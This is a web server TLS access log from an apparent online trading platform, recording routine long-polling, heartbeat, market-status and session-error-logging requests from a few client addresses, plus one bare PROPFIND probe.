[09/Jan/2026:10:09:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924837553 HTTP/1.1" -
[09/Jan/2026:10:09:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924850238 HTTP/1.1" -
[09/Jan/2026:10:09:26 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924835054 HTTP/1.1" -
[09/Jan/2026:10:09:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924839936 HTTP/1.1" -
[09/Jan/2026:10:09:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924842666 HTTP/1.1" -
[09/Jan/2026:10:09:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924856231 HTTP/1.1" -
[09/Jan/2026:10:09:32 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:09:32 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:09:32 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:09:32 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:09:32 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924841686 HTTP/1.1" -
[09/Jan/2026:10:09:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:09:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:09:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:09:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:09:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924844995 HTTP/1.1" -
[09/Jan/2026:10:09:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924847838 HTTP/1.1" -
[09/Jan/2026:10:09:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924847050 HTTP/1.1" -
[09/Jan/2026:10:09:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924862234 HTTP/1.1" -
[09/Jan/2026:10:09:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:09:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:09:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:09:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:09:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924850039 HTTP/1.1" -
[09/Jan/2026:10:09:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924852873 HTTP/1.1" -
[09/Jan/2026:10:09:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924868232 HTTP/1.1" -
[09/Jan/2026:10:09:44 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924853049 HTTP/1.1" -
[09/Jan/2026:10:09:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:09:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:09:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924855069 HTTP/1.1" -
[09/Jan/2026:10:09:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924858025 HTTP/1.1" -
[09/Jan/2026:10:09:50 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924859052 HTTP/1.1" -
[09/Jan/2026:10:09:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924874229 HTTP/1.1" -
[09/Jan/2026:10:09:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924860090 HTTP/1.1" -
[09/Jan/2026:10:09:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924863160 HTTP/1.1" -
[09/Jan/2026:10:09:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:09:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:09:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924865148 HTTP/1.1" -
[09/Jan/2026:10:09:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924880228 HTTP/1.1" -
[09/Jan/2026:10:09:56 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924865050 HTTP/1.1" -
[09/Jan/2026:10:09:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924868282 HTTP/1.1" -
[09/Jan/2026:10:10:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924870169 HTTP/1.1" -
[09/Jan/2026:10:10:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924873450 HTTP/1.1" -
[09/Jan/2026:10:10:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924886233 HTTP/1.1" -
[09/Jan/2026:10:10:02 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924871050 HTTP/1.1" -
[09/Jan/2026:10:10:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:10:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:10:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:10:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:10:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924875206 HTTP/1.1" -
[09/Jan/2026:10:10:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924878587 HTTP/1.1" -
[09/Jan/2026:10:10:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924892223 HTTP/1.1" -
[09/Jan/2026:10:10:08 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924877052 HTTP/1.1" -
[09/Jan/2026:10:10:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924880252 HTTP/1.1" -
[09/Jan/2026:10:10:11 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:10:10:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924883703 HTTP/1.1" -
[09/Jan/2026:10:10:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924898234 HTTP/1.1" -
[09/Jan/2026:10:10:14 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924883050 HTTP/1.1" -
[09/Jan/2026:10:10:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:10:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:10:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924885302 HTTP/1.1" -
[09/Jan/2026:10:10:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924888842 HTTP/1.1" -
[09/Jan/2026:10:10:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924904236 HTTP/1.1" -
[09/Jan/2026:10:10:20 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924889049 HTTP/1.1" -
[09/Jan/2026:10:10:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924890338 HTTP/1.1" -
[09/Jan/2026:10:10:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924893973 HTTP/1.1" -
[09/Jan/2026:10:10:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:10:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:10:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924895377 HTTP/1.1" -
[09/Jan/2026:10:10:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924910233 HTTP/1.1" -
[09/Jan/2026:10:10:26 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924895052 HTTP/1.1" -
[09/Jan/2026:10:10:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924899152 HTTP/1.1" -
[09/Jan/2026:10:10:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:10:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:10:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:10:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:10:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924900404 HTTP/1.1" -
[09/Jan/2026:10:10:32 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924901052 HTTP/1.1" -
[09/Jan/2026:10:10:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924916230 HTTP/1.1" -
[09/Jan/2026:10:10:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924904313 HTTP/1.1" -
[09/Jan/2026:10:10:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:10:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:10:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:10:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:10:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924905431 HTTP/1.1" -
[09/Jan/2026:10:10:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924909443 HTTP/1.1" -
[09/Jan/2026:10:10:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924907070 HTTP/1.1" -
[09/Jan/2026:10:10:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924922222 HTTP/1.1" -
[09/Jan/2026:10:10:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:10:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:10:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:10:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:10:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924910488 HTTP/1.1" -
